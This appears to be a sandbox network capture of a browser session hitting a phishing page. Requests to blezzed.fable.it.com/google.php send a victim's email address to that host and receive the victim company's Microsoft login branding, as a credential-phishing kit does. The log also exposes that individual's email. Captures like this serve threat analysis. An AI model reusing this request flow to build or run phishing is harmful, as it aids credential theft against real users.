2025-03-17 16:03:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6791082" x-ms-request-id: 156e9f19-f01e-003c-5a44-978cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160323Z-186895dd8bdcz2nqhC1EWR2ak400000007g000000000dcc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 44 6f 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 44 6f 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704150" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AppDocs" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAppDocs" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	49789	151.101.129.229	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	630	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:24 UTC	689	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 53 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=600, s-maxage=600 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/plain; charset=utf-8 ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4" Accept-Ranges: bytes Age: 39 Date: Mon, 17 Mar 2025 16:03:23 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-nyc-kteb1890069-NYC X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-17 16:03:24 UTC	53	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 20 66 6f 72 20 70 72 61 6e 61 79 6e 61 6d 6e 61 69 6b 2f 66 69 6c 65 73 2e Data Ascii: Failed to fetch version info for pranaynamnaik/files.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49790	172.67.210.51	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:23 UTC	581	OUT	POST /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:23 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-17 16:03:28 UTC	929	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6QIyPJuCFYqrxlvTS7gZ71Tr3heVLnufMAI2TAJB9oAfcskP9oqROugtoQdh0OQ28U681eq%2FKtPHtIOZbNj1ASKSnjpoLNDXDQSc3q7WdOhUkMLV19c0%2Fq9MInqbiadxro7KU7NHng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921db85a988c7539-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2030&rtt_var=767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1188&delivery_rate=1422308&cwnd=159&unsent_bytes=0&cid=fc8e6bf8c591a8a8&ts=4691&x=0"
2025-03-17 16:03:28 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2025-03-17 16:03:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	49792	104.21.91.45	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:29 UTC	394	OUT	GET /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:29 UTC	827	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VbYJUGsU3r2d%2BXWp84mz9Jm3EH2mK5v7KCpgznRE5P5EaMiDV7Id0%2BxtmmVYCGAJU8oILYe%2BlG6kcp2t5cC98%2B5mZtqaBhVkGlHkAkWVrv3mCeuq0R1kLVUW%2FcdgtoboaZpnUkpT4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921db87acb21aa39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1985&rtt_var=757&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=966&delivery_rate=1434184&cwnd=100&unsent_bytes=0&cid=519234a0bacb63e8&ts=317&x=0"
2025-03-17 16:03:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49794	172.67.210.51	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:32 UTC	639	OUT	POST /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive Content-Length: 35 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:32 UTC	35	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 63 61 72 6d 65 6e 40 73 74 65 69 6e 62 6f 72 6e 2e 63 6f 6d Data Ascii: do=check&email=carmen@steinborn.com
2025-03-17 16:03:33 UTC	931	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RssM9fGglRRLOv00QHUcIcWpYUuXpv%2BtlnROlng9YeLdVZsksL9nCVv88dRAEiif%2FwM1wSXYLTcN4if9lWG9HsiqujCZ0iBZvevebWU8KGzPRw%2FzlBoOrWVrHBn51UmQTPxl09TflA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921db88de98a41ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1577&rtt_var=608&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1268&delivery_rate=1773997&cwnd=224&unsent_bytes=0&cid=59d1ea56794af55f&ts=1053&x=0"
2025-03-17 16:03:33 UTC	384	IN	Data Raw: 31 37 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6e 6c 68 6c 6c 64 6d 70 72 38 78 67 66 76 6d 79 79 66 6a 69 70 6a 78 65 71 75 68 38 63 69 66 73 68 79 6a 39 74 67 75 2d 6b 66 79 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 37 32 30 36 37 31 31 35 35 37 35 30 30 34 34 37 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6e 6c 68 6c 6c 64 6d 70 72 38 78 67 66 76 6d Data Ascii: 179{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy\/logintenantbranding\/0\/bannerlogo?ts=637206711557500447","background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-nlhlldmpr8xgfvm
2025-03-17 16:03:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49793	92.123.12.181	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:32 UTC	660	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:32 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26272252 Date: Mon, 17 Mar 2025 16:03:32 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.b5771002.1742227412.32fd8ae
2025-03-17 16:03:32 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49801	92.123.12.139	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:33 UTC	459	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:33 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26272234 Date: Mon, 17 Mar 2025 16:03:33 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.8b771002.1742227413.5c0b4bc
2025-03-17 16:03:33 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49802	104.21.91.45	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:33 UTC	394	OUT	GET /google.php HTTP/1.1 Host: blezzed.fable.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:33 UTC	827	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DqVvHNzTakMpwJMbgVzBMwA8QRkFZTUvMmAB2d9tOk1TVYi2tZUGtmHqJQI9N%2Bk%2BwsEwQ1Hxp4cNN3UnyQKdFU%2FZ6q7T8vag5eECz8WMZ6vQlWYFs9B%2Bucvc53OP3P%2FZaq3iKOwZ0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921db8975dbb42ce-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1709&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=966&delivery_rate=1693735&cwnd=169&unsent_bytes=0&cid=1228bfc1f0cf4ae1&ts=335&x=0"
2025-03-17 16:03:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.17	49803	95.101.182.112	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:33 UTC	697	OUT	GET /dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy/logintenantbranding/0/illustration?ts=636765256499979250 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:34 UTC	712	IN	HTTP/1.1 200 OK Content-Length: 266962 Content-Type: image/* Content-MD5: 9pm3gEo/w1pcTSTjZc0EEQ== Last-Modified: Tue, 30 Oct 2018 19:47:31 GMT ETag: 0x8D63EA087C1EF67 x-ms-request-id: b1c7e159-501e-002e-4156-9711f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=86400 Date: Mon, 17 Mar 2025 16:03:34 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.6cb6655f.1742227413.199e555
2025-03-17 16:03:34 UTC	15713	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e1 18 c6 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 32 20 57 69 6e 64 6f 77 73 00 32 30 31 38 3a 31 30 3a 33 30 20 31 33 3a 34 36 3a 31 36 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 Data Ascii: JFIFHHExifMM*bj(1r2i''Adobe Photoshop CS2 Windows2018:10:30 13:46:168
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: 33 30 2c 35 33 31 2c 32 38 32 2c 32 38 33 2c 32 39 36 2c 33 30 31 2c 33 31 38 2c 33 31 39 2c 35 32 39 2c 35 33 32 2c 33 30 36 2c 32 37 30 2c 32 37 31 2c 32 37 32 2c 33 30 35 2c 33 31 35 2c 33 33 34 33 32 3b 32 31 39 44 41 44 39 44 32 43 44 41 45 35 35 41 41 33 33 33 35 43 30 37 30 44 43 35 43 38 35 42 3c 2f 74 69 66 66 3a 4e 61 74 69 76 65 44 69 67 65 73 74 3e 0a 20 20 20 20 20 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 65 78 69 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 65 78 69 66 2f 31 2e 30 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 3c 65 78 69 66 3a 50 Data Ascii: 30,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;219DAD9D2CDAE55AA3335C070DC5C85B</tiff:NativeDigest> </rdf:Description> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:P
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: f3 a7 f4 34 f4 c2 f5 50 f5 de f6 6d f6 fb f7 8a f8 19 f8 a8 f9 38 f9 c7 fa 57 fa e7 fb 77 fc 07 fc 98 fd 29 fd ba fe 4b fe dc ff 6d ff ff ff ee 00 0e 41 64 6f 62 65 00 64 00 00 00 00 01 ff db 00 84 00 0a 07 07 0b 08 0b 12 0a 0a 12 16 11 0e 11 16 1b 17 16 16 17 1b 22 17 17 17 17 17 22 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0b 0e 0e 1f 13 1f 22 18 18 22 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff dd 00 04 00 f0 ff c4 01 a2 00 00 00 07 01 01 01 01 01 00 00 00 00 00 00 00 00 04 05 03 02 06 01 00 07 08 09 0a 0b 01 Data Ascii: 4Pm8Ww)KmAdobed""""8
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: 96 40 ec a7 61 9a e3 b1 7a 08 9e 38 ec dd 8e b5 34 72 71 7a f0 6e f9 0e 6d 67 19 0a da a5 d3 5d 91 14 27 6e e7 2a 2d 91 8b ad af a4 81 7d 37 de 99 74 67 d1 a8 c1 06 12 67 73 72 09 1e 03 09 21 b3 c2 b4 6c fa 9c b3 44 20 2b 52 7b e1 e3 14 c0 63 a5 38 56 5b 06 12 27 4e e3 28 8c db 4e 2b 0e b8 79 75 37 05 d6 80 62 67 48 86 3a 56 b6 bc b8 d3 6b c1 6b 5e 98 3c 44 cb 15 a8 fd 55 ee 49 9a 51 f1 b6 43 89 9f 87 b2 90 b0 99 9b 8d 4f 1c b3 c5 71 c6 1d d1 07 4e a2 d1 05 18 65 63 26 ee 4c b0 ec b2 1d 3d d5 f9 ca 6b ec 72 73 c8 c3 16 2a 55 93 4e 69 45 55 b8 e5 71 9b 64 f1 da ac 3a 68 84 52 b5 27 be 46 59 19 78 7b 2d 7d 2c 39 e4 d8 c6 65 88 c6 a8 6c 94 af 1a 6d 83 8e 8b 6f 87 6b 21 d3 52 23 51 f7 e0 e3 61 1c 54 88 30 a3 8e 24 e4 c4 99 f8 60 b8 2a ae ca 7a 60 32 a4 8c 60 Data Ascii: @az84rqznmg]'n-}7tggsr!lD +R{c8V['N(N+yu7bgH:Vkk^<DUIQCOqNec&L=krsUNiEUqd:hR'FYx{-},9elmok!R#QaT0$`*z`2`
2025-03-17 16:03:35 UTC	16384	IN	Data Raw: c2 c2 52 5a 75 08 d8 6d 8f 0b 20 56 3d f8 e8 bd b1 11 a6 16 d7 e9 17 6e 9d b2 74 b6 ef d2 32 c9 b0 18 38 54 16 be b9 3a 0e 99 28 8a 53 26 be bd 72 c6 80 6d 90 21 89 92 d9 1a 76 f8 e9 f1 8e 99 93 01 b5 b8 d2 96 ed a4 b7 ac 37 1f 3c a4 c4 17 2b 89 b0 b7 2e 28 70 52 da 8c 97 6f 6a dc 5f be 5f 0c 6e bf 2e 5a 54 b7 b7 92 68 cb 03 b6 55 30 03 95 86 76 1b 16 55 07 99 34 ca f8 9b c8 2e 5d 3a 37 fd a3 4c 26 54 80 bb ea 31 f4 a9 c1 19 31 01 68 b2 81 77 a9 a6 4e d9 12 d8 82 dd 7b 9a 1c 8a 01 5e 16 d4 10 b5 35 c0 92 e5 16 c1 8d 2b 8d a8 6c 34 23 75 eb 91 24 b2 2e 4e b5 a7 e1 92 12 a4 5a b2 07 02 a1 76 ed b6 0e 26 24 86 da 3b 97 fb 2a 3e ec 9d b1 32 0e fa bd d8 22 8a 3e ec 16 8e 30 e3 69 7a c6 bc 45 7e 58 a9 98 54 1a 6d f0 1f 67 05 30 f1 03 7f a3 2f 9c 6c bb e1 02 d2 Data Ascii: 